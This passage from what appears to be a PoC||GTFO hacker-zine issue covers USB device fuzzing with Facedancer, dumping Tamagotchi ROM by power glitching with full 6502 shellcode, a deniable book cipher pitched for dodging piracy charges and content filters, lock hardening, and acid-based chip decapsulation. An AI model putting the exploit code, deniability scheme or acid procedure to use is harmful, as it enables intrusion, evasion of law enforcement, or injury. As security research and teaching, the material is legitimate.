driver to use with the attached device. From the Facedancer side, however, the keyboard functionality is
implemented in the USBKeyboardInterface class, which takes up most of the file. Scroll back up to the top
and look at that now.

The hid_descriptor and report_descriptor are hard-coded as opaque binary data specific to HID de-
vices (I may abstract away their details at some point, but it’s not a particularly high priority). In __init__,
there’s a dictionary mapping descriptor ID numbers to the actual descriptor data, which is sent to the super-
class initializer (I’ll get into more detail on this in the section on misbehaving devices). Also in __init__,
a single USBEndpoint is instantiated, which includes a callback (self.handle_buffer_available).

Remember that the device never initiates a data transfer: the host will ask the device if it has any data
ready; if it doesn’t, the device (in our case, the MAX3420 USB chip on the Facedancer board itself) will
respond with a NAK; if it *does* have data ready, the device will send the data on up. Thus whenever the
host asks for data for this particular endpoint, the callback will be invoked. (“Whenever” is a bit misleading
because the host will likely send polls faster than we can deal with them, but it’s close enough for the time
being.)

The handle_buffer_available method calls type_letter, which sends the keypress over the endpoint.
(This abstraction as it stands right now is messy and is high on my list to fix—the USBEndpoint class should
have “send” and “receive” methods, rather than having to climb up through the abstraction layers to the
send_on_endpoint call currently in type_letter.)

To make a very long story short, writing an emulator for a new device should be straightforward:

1. Subclass USBInterface (eg, as MyNewInterface), define your set of endpoints and pass them to the
superclass initializer, and define endpoint handler functions.

2. Subclass USBDevice (eg, as MyNewDevice), define a configuration containing MyNewInterface, and
pass it along to the superclass initializer.

5.3 A Misbehaving Device
If you subclass USBDevice and USBInterface as described above, the rest of the class hierarchy should do
the Right Thing (TM) with regards to the USB protocol itself and talking to the Facedancer to perform
it: appropriate descriptors will be sent when requested by the host, correct callback functions will be called
when endpoints are polled by the host, etc. But if you want to test how systems react in the face of devices
that don’t perform exactly as expected, you’re going to have to dig in a bit.
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The pattern I’ve tried to follow (though there are certainly deviations, which I intend to deal with—
patches appreciated!) is for the USBDevice class to handle control messages over endpoint 0 and dispatch
them to the appropriate instance of (subclasses of) USBConfiguration, USBInterface, or USBEndpoint. For
example, if the host sends a GET_DESCRIPTOR request for the configuration, the request is dispatched
to USBConfiguration.get_descriptor, which returns the data to be sent in response.

This logic is contained in the USBDevice.handle_request method; if you want your custom misbehav-
ing device to do weird stuff for every incoming request, this is the method to override. If, on the other
hand, you’re looking to mess with just descriptors for a specific abstraction, you’re better off overriding
the get_descriptor method of the USB* classes. If you want to send non-standard responses to any of
the other control messages (eg, CLEAR_FEATURE, GET_STATUS, etc), you should override the associ-
ated handle_*_request method of USBDevice. (Note that USBDevice.handle_request is the method that
dispatched to the handle_*_request methods.)

Each of the top-level USB* classes (USBDevice, USBConfiguration, USBInterface, and USBEndpoint)
has a self.descriptors member that maps from descriptor number to a descriptor or a function that
returns a descriptor. Thus you are not constrained to hard-coding values, you can instead provide a function
that creates whatever descriptor you want sent.

To make a somewhat less-long story short, modifying an emulated device to misbehave should be similarly
straightforward.

1. Subclass whichever of USBDevice, USBConfiguration, USBInterface, or USBEndpoint contains the
behavior you want to modify.

2. Override the descriptor dictionary in your subclass to change what descriptors get sent in response
to requests.

3. Override the handle_*_request methods in your subclass of USBDevice to change how your device
responds to individual requests.

4. Over the USBDevice.handle_request method to change how your device responds to all requests.

Happy fuzzing!
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6 Dumping Firmware from Tamagotchi Friends by Power Glitching
by Natalie Silvanovich, Tamagotchi Merchant of Death

with the kindest of thanks to Mr. Blinky.

Figure 5: These sprites were among many dumped from the Tamagotchi Friends ROM.

The Tamagotchi Friends is the latest addition to the Tamagotchi series of virtual pet toys. Released
on Boxing Day of 2013, it features NFC messaging and games as a part of a traditional Tamagotchi toy.
Recently, I used glitching to dump the code of the Tamagotchi Friends.

The code for the Tamagotchi Friends is stored in mask ROM internal to its GeneralPlus GPLB series
LCD controller. In the previous Tamagotchi version (the Tamatown Tama-Go), I used a vulnerability in the
processing of external data from a flash accessory to dump the code, but this is not possible for the Tamagotchi
Friends, as it does not support flash accessories. In fact, the Tamagotchi Friends has a substantially reduced
attack surface compared to the Tamatown Tama-Go, as it also does not support infrared communications.
The only available inputs on the Tamagotchi Friends are the buttons, the EEPROM (which is used to store
important persistent data, like the number of slices of carrot cake your Tamagotchi has on hand) and NFC.

After eavesdropping on and simulating the NFC, and dumping and rewriting the EEPROM, I determined
that they both had limited potential to contain exploitable bugs. They did both appear to fill buffers in
RAM with user-controlled data in the course of normal operation though, which meant they both could be
useful for creating shellcode buffers in the case that there was a bug that allowed the program counter to be
moved to the buffer.

One possible way to move the program counter was glitching, basically driving unexpected signals into
the microcontroller and hoping that they would somehow cause that program counter to change and by
chance land in the shell code buffer. Considering that memory space of the microcontroller is 65,536 bytes,
and the largest buffer I could fill with a NOP slide is roughly 60 non-contiguous bytes this sounds like a long
shot, but the 6502 architecture used by the microcontroller has some properties that makes random program
counter corruption more likely to lead to code execution compared to other architectures. To start, it has no
memory validation, so any access of any address will succeed, regardless of whether any memory is mapped
to the location. This means that execution will not stop even if an invalid address is accessed. Also, invalid
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opcodes on 6502 are guaranteed to execute in a finite amount of time8 with undefined behaviour, so they
also will not stop execution. Together, these properties make it very unlikely that execution will ever stop
on a 6502 processor, giving shellcode a lot of chances to get executed in the case that the program counter
is corrupted.

Another useful feature of this particular microcontroller is that the
RAM starts at address zero, and the lowest hundred bytes or so of RAM
is used by the SPU and is often zero. In 6502, zero is the opcode for
BRK, which acts like NOP if a debugger is not attached, so this RAM
could potentially act as a NOP slide. In addition, in the Tamatown Tama-
Go (and I assumed the Tamagotchi Friends), the EEPROM is copied
to address 0x300, which is still fairly low in RAM addresses. So if the
program counter got set to zero, there is a possibility it could slide through
RAM up to the EEPROM. Of course, not every value in RAM before
0x300 is zero, but if enough are, it is likely that the other values will be
interpreted as instructions that don’t alter the program counter’s course
some portion of the time.

Since setting the program counter to zero seemed especially likely to
cause code execution, I started by glitching the input power, as this had
the potential to clear the program counter. The Tamagotchi Friends
has three types of volatile memory: registers like the program counter,
DPRAM (used for the LCD) and SRAM. DPRAM and SRAM both have
fairly long persistence after they stop being powered, so I hoped if I cut the
power to the microcontroller for a short period of time, it would corrupt
the registers, but not the RAM, and resume execution with the program
counter at address zero.

I tried this using an Arduino to switch the power on and off at differ-
ent speeds. For very fast speeds, the Tamagotchi didn’t react at all, and
for very slow speeds, it would reset every cycle. I eventually settled on
cycling every five milliseconds, which had a visible erratic impact on the
Tamagotchi after each cycle. At this rate, the toy was displaying an un-
expected image on the LCD, corrupting the LCD, playing Yankee Doodle
or screeching loudly.

I filled up the EEPROM with a large NOP slide and some code that
caused a write to the LCD screen, reset the Tamagotchi so the EEPROM
was downloaded into RAM, and cycled the power. Roughly one out of
every ten times, the code executed and wrote the LCD.

I then moved the code around to figure out the size of the available
code buffer. Two things limited the size. One is that only a small part of
the EEPROM is copied into RAM at once, and the rest is only loaded if
needed. The second is that some EEPROM addresses are validated. For
some of these addresses, containing very critical values, the EEPROM is wiped immediately if the Tamagotchi
detects an invalid value. These addresses couldn’t be used for code at all. Some other less critical values get
overwritten if they are invalid. For example, if a Tamagotchi is a child, but is married, the “is married” flag
will be reset to the correct value. These addresses could be changed, but there was no guarantee they would
stay the correct value, so I ended up jumping over them. This left exactly 54 bytes for code. It was tight,
but I was able to write code that dumped the ROM over SPI through the Tamagotchi buttons in that space

The following is the shellcode I used:

SEI ; d i s ab l e the low batte ry i n t e r r up t
LDA #$FF

8A few people have mentioned to me that there are certain versions 6502 processors for which this is not true, but this is
definitely the case for GeneralPlus controllers.
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STA $3011 ; port d i r e c t i o n
STA $1109 ; LCD ind i c a t o r
STA $00C5
STA $00C6
LDX #$08
LDA ($C5 ) ,Y ; No room to i n i t i a l i z e Y. Worst case ,
ASL A ; i t w i l l be s e t to 0 at the end o f the loop .
LDY #$01
BCC $001A
LDY #$03
BNE $0020 ; These 4 bytes get a l t e r e d be f o r e execut ion . Jump over them .
NOP
NOP
NOP
NOP
NOP
STY $3012
LDY #$00
STY $3012
DEX
BNE $0013
INC $00C5
BNE $000F
INC $00C6
BNE $000F
LDA #$00
STA $3000
BNE $000F ; Branches are sho r t e r than jumps , so use impl i ed cond i t i on s .

In memory, this shellcode is as follows:

300 : 32 17 02 01 02 01 09 00 1A 00 1A 1A 1A 1A 1A 1A
310 : 20 FF 06 10 01 FF FF 02 77 77 77 77 77 77 77 77
320 : 77 77 77 77 77 05 04 FF 77 77 55 00 77 77 7F 00
330 : FF FF 40 EA EA EA EA EA 00 00 00 00 00 00 00 00
340 : 03 78 A9 FF 8D 11 30 8D 09 11 8D C5 00 8D C6 00
350 : A2 08 B1 C5 0A A0 01 90 02 A0 03 D0 04 EA 00 00
360 : 03 EA 8C 12 30 A0 00 8C 12 30 CA D0 E7 EE C5 00
370 : D0 DE EE C6 00 D0 D9 4C 4B 03 15 11 4C 38 00 00

The code begins at 341 and ends at 376, which are the bounds of the buffer copied from the EEPROM.
The surrounding values are typical values of the surrounding RAM which are not consistent across each time
code is executed. The 0x03 before the beginning of the code is written after the buffer, and is an undefined
instruction in 6502. Unfortunately, this means that there isn’t room for any NOP sled, the program counter
needs to end up at exactly the right address.

One useful feature of this shellcode is that the first seven instructions aren’t strictly necessary! The
registers are often the right value, or an acceptable value by chance, which gives the program counter a bit
more leeway in the case that it jumps a bit beyond the beginning of the code.

I dumped all thirty-two pages of ROM using this shellcode, and they appear to be accurate. Figure 5
shows the highlights of the dump, organized by cuteness in descending order.
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7 Lenticrypt: a Provably Plausibly Deniable Cryptosystem; or,
This Picture of Cats is Also a Picture of Dogs

by Evan Sultanik

Deniable cryptosystems allow their users to plausibly deny the
existence of the plaintext content of their encrypted data. There are
many existing technologies for accomplishing this (e.g., TrueCrypt),
which usually accomplish it by having multiple separate encrypted
volumes in the ciphertext that will decrypt to different plaintexts
depending on which decryption key is used. Key k1 will decrypt
to innocuous volume v1 whereas key k2 will decrypt to high-value
volume v2. If an adversary forces you to reveal your secret key, you
can simply reveal k1 which will decrypt to v1: the innocuous volume
full of back-issues of PoC‖GTFO and pictures of cats. On the other
hand, if the adversary somehow detects the existence of the high-
value volume v2 and furthermore gains access to its plaintext, the
jig is up and you can no longer plausibly deny its contents’ existence.
This is a serious limitation, since the high-value plaintext might be
incriminating.

An ideal deniable cryptosystem would allow the creator of the ciphertext to plausibly deny having created
the plaintext regardless of whether the true high-value plaintext is revealed. The obvious use-case is for
transmitting illegal content: Alice wants to encrypt and send her neighbor Bob a pirated copy of the
ColecoVision game George Plimpton’s Video Falconry. She doesn’t much care if the plaintext is revealed,
however, she does want to have a plausible legal argument in the event that she is prosecuted whereby she
can deny having sent that particular file, even if the high-value file is revealed. In the case of systems like
TrueCrypt, she can’t really deny having created the alternate hidden volume containing the video game since
the odds of it just randomly occurring there and a key happening to be able to decrypt it are astronomically
small. But what if, using our supposed “ideal” cryptosystem, she could plausibly claim that the existence of
the video game was due to pure random chance? It turns out that’s possible, and we have the PoC to prove
it!

Before we get to the details, let’s first dispel the apparent nefariousness of this concept by discussing
some more legitimate use-cases. For example, we could encrypt a high-value document such that it decrypts
to either a redacted or unredacted version depending on the key. If the recipients are not aware that they
have unique keys, one could deliver what appears to be a single encrypted message to multiple recipients
with individualized content. The individualization of the content could also be very subtle, allowing it
to be used as a unique watermark to identify the original source of a leaked document: a so-called “canary
trap.” Finally, “deep-inspection” filters could be evaded by encrypting an innocuous payload with a common,
guessable password.

7.1 Running Key Ciphers

A running key cipher is one of the most basic cryptosystems, yet, if used properly, it can be one of the most
secure. Being avid PoC‖GTFO readers, Alice and Bob both have a penchant for treatises with needlessly
verbose titles that are edited by Right Reverend Doctors. Therefore, for their secret key they choose to use
a copy of a seminal work on cryptography by the Rt. Revd. Dr. Lord Bishop John Wilkins FRS.
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Mercury :
or the

Secret and Swift

Messenger.
s h e w i n g,

How a Man may with Privacy and
Speed communicate his Thoughts

to a Friend at any diõance.

T˙ Second Edition

By the Right Reverend Father in God,
J o h n W i l k i n s, late Lord

Bishop of C h e s t e r.
F�o�under �o�f �t�he R�o�ya�l S�o�ciet�y

L O N D O N,
Printed for Ri˜. Baldwin, near the

Oxford-Arms in Warwick-lane. .

They have agreed to start their running key on the first line of the book, which reads:

Every rational creature, being of an imperfe� and dependant Happiness, is
therefore naturally endowed with an Ability to communicate its own Thoughts
and Intentions ; that so by mutual Services, it might better promote it self in the
Prosecution of its own Well-being.

“
”

The encryption algorithm is then very simple: Each character from the running key is used as a rotation
to permute the associated character of the plaintext. For example, say that the first character of our plaintext
is “A”; we would take the first character of our running key, “E”, look up its numerical index in the alphabet,
and rotate the plaintext by that much to produce the ciphertext.

Plaintext: AN ADDRESS TO THE SECRET SOCIETY OF POC OR GTFO. . .
Running Key: EV ERY|RATI ON AL|C REATUR E|BEING|O F|A N|IM PE RFEC. . .

Ciphertext: EI EUBIELA HB TSG JICKYK WPGQRZM TF CWO DV XYJQ. . .

There are of course many other ways the plaintext could be combined with the running key, another common
choice being XORing the bits. If the running key is truly random then the result will almost always be what
is called a “one-time pad” and will have perfect secrecy. Of course, my expository example is nowhere near
secure since I preserved whitespace and used a running key that is nowhere near random. But, in practice,
this type of cryptosystem can be made very secure if implemented properly.

7.2 Book Ciphers

Perhaps the most basic type of cryptosystem—one that we’ve all likely independently discovered in our early
childhood—is the substitution cipher: Each letter in the alphabet is statically mapped to another. The most
common substitution cipher is ROT13, in which the letters of the alphabet are rotated 13 steps.
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a b c d e f g h i j k l m n o p q r s t u v w x y z

o p q r s t u v w x y z a b c d e f g h i j k l m n

In fact, we can think of the running key cipher we described above as a sort of substitution cipher in which
the alphabet mapping changes for each byte based off of the key.

Book Ciphers marry some of the ideas of substitution ciphers and running key ciphers. First, Alice and
Bob decide on a shared secret, much like the book they chose as a running key above. The shared secret needs
to have enough entropy in order to have at least one instance of every possible byte in the plaintext. For
each byte in the shared secret, they create a lookup table mapping all 256 possible bytes to lists containing
all indexes (i.e., file offsets) of the occurrences of that byte in the secret:

with open( s e c r e t_key_f i l e ) as s :
indexes = dict ( [ ( b , [ ] ) for b in range ( 2 5 6 ) ] )
for i , b in enumerate(map(ord , s . read ( ) ) ) :

indexes [ b ] . append ( i )

Then, for each byte encountered in the plaintext, the ciphertext is simply the index of an equivalent byte in
the secret key:

def encrypt ( p l a in t ex t , indexes ) :
for b in map(ord , p l a i n t e x t ) :

print random . cho i c e ( indexes [ b ] ) ,

To decrypt the ciphertext, we simply look up the byte at the specified index in the secret key:

def decrypt ( c iphe r t ex t , s e c r e t_key_f i l e ) :
with open( s e c r e t_key_f i l e ) as s :

for index in map( int , c i ph e r t e x t . s p l i t ( ) ) :
s . seek ( index )
sys . s tdout . wr i t e ( s . read ( 1 ) )

In effect, what is happening is that Alice opens her book (the secret key), finds indexes of characters that
match the characters she has in her plaintext, writes those indexes down as her ciphertext, and sends it to
Bob. When Bob receives the ciphertext, he opens up his identical copy of the book, and for each index he
simply looks up the letter in the book and writes that down the letter into the decrypted plaintext. There
are various optimizations that can be made, vi&., using variable-length codes within the key similar to LZ77
compression (e.g., using words from the book instead of individual characters).

7.3 Lenticular Book Ciphers

In the previous section, I showed how a book cipher can be used to encrypt plaintext p1 to ciphertext c using
secret key k1. In order for this to be useful as a plausibly deniable cryptosystem, we will need to ensure
that given some other secret key k2, the same ciphertext c will decrypt to a totally different plaintext p2.
In this section I’ll discuss an extension to the book cipher which achieves just that. I call it a “Lenticular
Book Cipher,” inspired by the optical device that can present different images to the viewer depending on
the lens that is used. I was unable to find any description of this type of cryptosystem in the literature,
likely because it is very naïve and practically useless . . . except for in the context of our specific motivating
scenarios!

Given a set of plaintexts P = {p1, p2, . . . , pn} and a set of keys K = {k1, k2, . . . , kn}, we want to find
a ciphertext c such that decrypt(c,ki) 7→ pi for all i from 1 to n. To accomplish this, let’s consider an
individual byte within each of the plaintexts in P . Let pi[j] represent the jth byte of plaintext i. Similarly,
let’s define ki[j] and c[j] to refer to the jth byte of a key or the ciphertext. In order to encrypt the first byte
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of all of the plaintexts, we need to find an index m such that ki[m] = pi[0] for i from 1 to n. In general, c[`]
can be any unsigned integer m such that

∀i ∈ 1, . . . , n : ki[m] = pi[`].

We can relatively efficiently find such an m by modifying the way we build the indexes lookup table:

def build_index ( secret_keys ) :
indexes = {}
for i , key_bytes in enumerate( zip (∗ secret_keys ) ) :

key_bytes = tuple (map(ord , key_bytes ) )
i f key_bytes not in i ndexes :

indexes [ key_bytes ] = [ i ]
else :

i ndexes [ key_bytes ] . append ( i )
return i ndexes

Encryption then happens similarly to the regular book ciper:

def encrypt ( p l a i n t ex t s , secret_keys ) :
indexes = build_index ( secret_keys )
for text_bytes in zip (∗ p l a i n t e x t s ) :

text_bytes = tuple (map(ord , text_bytes ) )
print random . cho i c e ( indexes [ text_bytes ] ) ,

Decryption is identical to the regular book cipher.
So, in fewer than twenty lines of Python, we have coded a PoC of a cryptosystem that allows us to do

the following:

encrypt ( [ open( " p l a i n t ex t 1 " ) . read ( ) , open( " p l a i n t ex t 2 " ) . read ( ) ] ,
[open( "key1" ) . read ( ) , open( "key2" ) . read ( ) ] )

If we pipe STDOUT to the file “cipher.enc”, we can decrypt it as follows:

with open( " c iphe r . enc" ) as enc :
decrypt ( enc . read ( ) , "key1" ) # This w i l l p r i n t out p l a i n t e x t 1
decrypt ( enc . read ( ) , "key2" ) # This w i l l p r i n t out p l a i n t e x t 2

There do seem to be a number of limitations to this cryptosystem, though. For example, what keys should
Alice use? The keys need to be long enough such that every possible combination of bytes that appears
across the plaintexts will occur in indexes; the length of the keys will need to increase exponentially with
respect to the number of plaintexts being encrypted. Fortunately, in practice, you’re not likely to ever need
to encrypt more than a few plaintexts into a single ciphertext. One possible source of publicly available keys
to use would be YouTube videos: Alice could simply download a video and use its raw byte stream as the
key. Then all she needs to do is communicate the name of or link to the video to Bill off-the-record.

I have created a complete and functional implementation of this cryptosystem, including some opti-
mizations (e.g., variable block length, compression, length checksums, error checking, &c.). It is available
here:

https://github.com/ESultanik/lenticrypt

7.4 Proving a Cat is Always Also a Dog
So far, I’ve gone through a lot of trouble to describe a cryptosystem of dubious information security9

whose apparent functionality is already available from tools like TrueCrypt. In this section I will make a
9While I do have a few letters after my name that suggest I know a thing or two about Computer Science, cryptography is

not my specific area of specialization.

25



mathematical argument that provides what I believe to be a legal basis for the plausible deniability provided
by lenticular book ciphers, enabling its use in our motivating scenarios.

Laws and contracts aren’t interpreted like computer programs; legal decisions are often dictated less by
the defendant’s actions than by his or her intent. In other words, if it appears that Alice intended to send
Bob a copy of Video Falconry, she will be found guilty of piracy, regardless of how she conveyed the software.

But what if Alice legitimately only knew that key k1 decrypted c to a picture of cats, and didn’t know
of its nefarious use to produce a copy of Video Falconry from k2? How likely would it be for k2 to produce
Video Falconry simply by coincidence?

For sake of this analysis, let’s assume that the keys are documents written in English. For example,
books from Project Gutenberg could be used as keys. I am also going to assume that each character in
a document is an independent random variable. This is a rather unrealistic assumption, but we shall see
that the asymptotic properties of the problem make the issue moot. (This assumption could be relaxed by
instead applying Lovász’s local lemma10.)

First, let’s tackle the problem of figuring out the probability that decrypt(c,k2) 7→ p2 completely by
chance. Let n be the length of the documents in characters and let m < n be the minimum required length
of a string for that text to be considered a copyright violation (i.e., outside of fair use). The probability that
decrypt(c,k2) contains no substrings of length at least m from p2 is

(1− qm)
(n−m+1)

,

where q is the probability that a pair of characters is equal. Here we have to take into account letter frequency
in English. Using a table from Wikipedia11, I calculate q to be roughly 6.5 percent (it’s the sum of squares
of the values in the table). According to Google, there are about 130 million books that have ever been
written12. Let’s be conservative and say that two million of them are in English. Therefore, the probability
that at least one pair of those books will produce a copyrighted passage from c is

1−
(
(1− qm)

(n−m+1)
)(20000002 )

,

which is extremely close to 100% for all m < n� 2000000.
Therefore, for any ciphertext c produced by a lenticular book cipher, it is almost certain that there exists

a pair of books one can choose that will cause a copyright violation! Even though we don’t know what those
books might be, they must exist!

Proving that this is a valid legal argument—one that would hold up in a court of law—is left as an
exercise to the reader.

10Paul Erdős and László Lovász. Problems and results on 3-chromatic hypergraphs and some related questions. Infinite and
finite sets (Colloq., Keszthely, 1973; dedicated to Paul Erdős on his 60th birthday), Volume II, North-Holland, Amsterdam,
1975, pp. 609–627. Colloq. Math. Soc. János Bolyai, Volume 10.

11http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language
12Leonid Taycher. Books of the world, stand up and be counted! All 129,864,880 of you. August 5, 2010.

http://booksearch.blogspot.com/2010/08/books-of-world-stand-up-and-be-counted.html Retrieved March 21, 2014.
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8 Hardening Pin Tumbler Locks against Myriad Attacks
for Less Than a Sawbuck

by Deviant Ollam, Merchant of Dead Locks

In 1983, the renowned locksmith and physical security icon Gerry Finch submitted a brief article to
Keynotes magazine, a publication of the Associated Locksmiths of America. In it, he described why it was
his belief that serrated pins within a lock were superior to spool pins, mushroom pins, or any other kind
of manipulation-resistant pins commonly-used in locks. Despite being very popular and well-received at
the time, such wisdom appears to have faded away somewhat among locksmithing circles. This article is a
re-telling of Finch’s original advice with updated diagrams and images, in the hopes that folk might realize
that some of the old ways are often still some of the best ways of doing things.

Pick-resistant pins are designed to interfere with the most common methods of attacking pin tumbler
locks. Conventional operation of a lock involves first pushing the pin stacks to their appropriate positions
and then turning the plug. Lockpicking, however, is performed by first applying turning pressure to the
plug, then—subsequent to that—the pushing of the pins stacks is performed, with pick tools instead of a
key. The following images document this process.

Pick-resistant pins make such an attack difficult by interfering with the easy movement of pin stacks if
a lock’s plug is already subject to turning pressure. While standard operation of the lock is still possible
(in the absence of any turning pressure, the blade of a user’s key will still push the pin stacks smoothly)
attempts to turn, then lift (which is how picking is performed) become much more complicated. If inclined,
one may acquire entire pinning kits consisting of such special pins from locksmiths supply companies. Seen
in the photo below is the tray of an “S-pin” security kit from LAB.
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The following images show how the ridges of a serrated pin make for additional friction during a typical
lock-picking attack.

While other styles of pick-resistant pins are available on the market (such as the spool style or mushroom
style seen in an earlier diagram) it was the serrated style which captured Gerry Finch’s attention and became
his favorite means of bolstering a lock’s ability to resist attack. Part of his reason pertained to the fact that
the ridges on a serrated pin are far less pronounced than on a spool or mushroom style pin. When performing
the picking process, a skilled attacker can often discern quite clearly the moment when they have encountered
a spool or mushroom driver pin. Due to the large ridge present and the very noticeable way in which a lock’s
plug will tend to turn (but the lock will fail to open) this information leakage will offer up valuable insight
to an attacker. Serrated pins give away far less detail to someone who is using lockpicks.

The very small ridges found on serrated pins also lend themselves to another, more substantial, means
of preventing attacks against pin tumbler locks, however. Although it was not common practice at the time,
Gerry Finch proposed something in the early 1980s which dazzled the locksmith community. Specifically, he
advocated the process of using a thin thread-tapping tool to create additional ridges inside of a lock’s plug,
within the chambers where the pins are installed.
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By cutting these threads into the pin chambers, a much greater degree of friction and positive lock-up
between the pins and the plug can be achieved. If there is turning pressure on the plug–as there is with a
lockpicking attack—and any attempt to push the pin stacks is made, the serrations will bite together. This
is remarkably robust for a number of reasons:

• Even if a dedicated lockpicker gets past one region of friction, serrated edges offer repeated additional
blockades to progress. Spool pins or mushroom pins typically offer only one point of resistance in each
pin stack.

• The positive lock-up between pins and the plug is achieved by the driver pins and also by the key pins
(if serrated key pins are installed) and for this reason this style of configuration should also offer some
resistance to impressioning attacks, as well.

The following images show the mechanism by which serrated pins and thread-tapped plug chambers work
in concert to resist picking attacks.
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It is those particular points indicated by the small arrows where the ridges and threading jam together
tightly. NOTE—As seen in the earlier photo of the field-stripped plug, I did not opt to run a tap through all
of the pin chambers. The front-most chamber was left plain and no serrated pins would be installed there.
This not only conceals the presence of such pins in the lock (at least from cursory inspection) but it affords
one the opportunity to install hardened anti-drill pins in that front chamber.

Gerry Finch suggested that course of action, as well. He also cautioned locksmiths against working a
tapping tool too deeply in each chamber. He recommends a maximum of three turns per chamber, no more.

Finch’s ideas proved so effective, and locks prepared in this manner tend to be so resistant to against
even dedicated attacks, that the LAB company started including a 6/32” tap in some of their S-pin kits. But
perhaps a little surprisingly, after all these years the practice has become so uncommon that few locksmiths
with whom I have spoken nowadays even know what the tap tool is for.

If you have the knowledge of even basic lock field-stripping, it is quite possible to upgrade a pin tumbler
lock using this technique for very little cost. The LAB company’s S-pins are available for less than a dime
each13 and hardware tool suppliers sell both the 6/32” tap and a suitable tap handle for four dollars apiece.

Best of luck upgrading your security if you try this yourself. With a little care and dedication and for
less than one Hamilton you could make your locks a great deal more resistant to attacks by someone like me.

13While this is technically true, such pins are commonly sold in packages of 100. So you’re often out six to seven dollars for
the bag, and a variety of sizes of key pins and driver pins are needed to do the job properly. It’s best to find a friendly locksmith
who might sell you a handful of individual pins for a few dollars.
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poCoRgtfO

Gerry Finch was a legend in the lockpicking and locksmithing community, developing
tools, techniques, instructional courses, and published works throughout his career.
A veteran of the US Air Force (ret 1964) he also worked with the US Army Tech-
nical Intelligence Center teaching their Defense Against Methods of Entry course.
Finch is the recipient of the Locksmith Ledger’s Hall of Fame Award, The California
Locksmith Association’s Golden Key Award, Associated Locksmiths of America’s
President’s Award, the Lee Rognon Award, the Gerald Connelly Pioneer Award, and
the Philadelphia Award. He retired officially in 1996, but I still wouldn’t want to go
head-to-head with him in a picking contest.
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9 Introduction to Reflux Decapsulation and Chip Photography
by Travis Goodspeed

Howdy y’all,
Unlike my prior articles for PoC‖GTFO, this one is an introductory tutorial.

If you are already stripping and photographing microchips, then there will be
little for you to learn here. If, however, you want to photograph a chip and
don’t know where to begin, this is the article for you.

I’m also required by my own conscience and by good taste to warn you that
if you attempt to follow these instructions, you will probably get a little bit
hurt. Please be very fucking careful to ensure that you only get a little bit hurt.
If you have any good sense at all, you will do this in a proper chemistry lab
with the assistance of professionals rather than rely on this hobbyist guide. If
you don’t know whether to add water to acid or acid to water, and why you
will hurt yourself a lot if you don’t know, please stop reading now and take a
community college course with a decent lab component.

9.1 Chemistry Equipment
At a bare minimum, you will need high-strength nitric acid (HNO3) and sulfuric acid (H2SO4). Laws for
acquiring these vary by country, and if you’re in a jurisdiction that cares too much about the environment,
you might need to use a different method.14 In addition to the two acids, you will need isopropyl alcohol
and acetone as solvents for cleaning.

Beyond the chemicals, you will need a bit of glassware. Luckily, the procedure is simple enough, so some
test-tubes, beakers, and a ring stand with buret clamps will do. If you get second-hand clamps, be aware
that metal should not directly touch the glass of the test tube; your clamp might be missing a rubber or
cloth piece to prevent scratches.

The acids that you are working with can attack metals, so get several acid-resistant tweezers. I learned
a while ago that tweezers get lost or bent, so buy a dozen and you won’t have to worry about it again.

Because the acid fumes, particularly the nitric acid fumes, are so noxious, you will need a fume hood to
properly contain the acid gas that boils out of the test tube when you screw up the heat.

As a handy indicator of where the acid fumes are going, I save thermal paper cardstock from air and rail
tickets. They turn red or black in the presence of acid fumes, and by balancing one above the test tube I
get a visual warning that the fumes have spread too far.

You could get by with a toothbrush and solvent for cleaning the chip surface, but an ultrasonic bath with
solvent is better. Cheap ultrasonic cleaners are available for cleaning jewelry, and they work well enough,
but be careful not to let your cleaning solvents dissolve their exposed plastic.

Finally, you will need a source of regulated heat. At this point, you’re probably itching to strike off a
Bunsen burner, but those are really a terrible choice. Instead, I use a cheap SMD rework soldering station,
the Aoyue 850A. By turning the airflow near maximum and slowly raising the temperature, I can heat the
test tube to a consistent temperature.

9.2 Chemistry Procedure
Your sample should be the smallest package of the target chip you can purchase. For a specific example, the
Texas Instruments MSP430F2012 is available as PDIP (Plastic Dual Inline Package) and QFN (Quad Flat
No-leads) among other packagings. While this procedure works for either, the QFN package is much smaller
and has less plastic to be etched away, so it will consume far less of your nitric acid.

Begin by connecting the buret clamp to your ring stand as shown in Figure 6, with the SMD rework
station’s wand held just beneath the bottom of where the test-tube will be. Do not turn on the heat yet.

14I’ve heard that the Germans get good results with kolophonium, better known as rosin.
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Figure 6: The clamp stand holds the test-tube next to the SMD rework station.

Place the chip into the test-tube with enough nitric acid to cover the chip and optionally add just a
splash of sulfuric acid to make it attack the plastic instead of the bonding wires. For safety reasons, you will
very quickly learn to do this while the glass is cold, just as you will very quickly and rather painfully learn
that cold glass looks exactly like hot glass.

Place the test tube into the buret clamp. The tube should be slightly tilted, with
the bottom closer to you than the top so that any explosive eruptions of boiling acid
go away from your face.

With the chip covered in acid, turn the SMD rework station on with high speed
and low heat. Slowly raise the temperature while watching the well-lit column of the
test tube. The idea here is to create a poor man’s reflux, in which the acid boils but
the column of acid vapor above it remains beneath the lid of the test tube, unable
to spill out. Shining a laser pointer into the tube will reveal the exact height of the
column, as the laser is scattered by the acid but not by clean air.

Overheating the test tube will cause the acid to steam out, filling either the fume
hood or your lab with acid fumes. All of the iron in the room will rust, your lungs
will burn, and the fire alarm will trigger. Don’t do this.

As the chip boils in nitric acid, the packaging will crumble off in chunks. This
crumbling should continue until either the chip’s die is exposed or the acid is spent.

You might notice the acid solution changing color. HNO3 turns green or blue
after dissolving copper, which greatly reduces its ability to break apart the plastic.
Once the acid is spent, let the test-tube cool and then spill its contents into a beaker.

At this point, the acid might not be strong enough to further break apart the packaging, but it’s still
strong enough to burn your skin. HNO3 burns don’t hurt much at first, and light ones might go unnoticed
except for a yellowing of the skin that takes a week or so to peel off. Sometimes you’ll notice them first as
an itch, rather than a burn, so run like hell to the sink if a spot on your hand starts itching. H2SO4 burns
more like you’d expect from Batman cartoons, with a sharp stinging pain. It results in a red rash instead of
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Figure 7: This is one photo of 1,475 that I took of the Clipper Chip.

yellowed skin.15

So now that you know better than to stick your fingers into the beaker of acid, use tweezers to carefully
lift the die out of the acid and drop it into a second beaker of acetone. This beaker–the acetone beaker–goes
into the ultrasonic bath for a few minutes. At this point the die will be partially exposed with a bit of gunk
remaining, but sometimes larger chips will still be covered.

For best quality, the HNO3 should be repeated until very little of the gunk is left, then a bath of only
H2SO4 will clean off the last bits before photography.

These two acids are very different chemicals, and you will find that the H2SO4 bath behaves nothing like
the HNO3 baths you’ve previously given the chip. H2SO4 has a much higher boiling point than HNO3, but
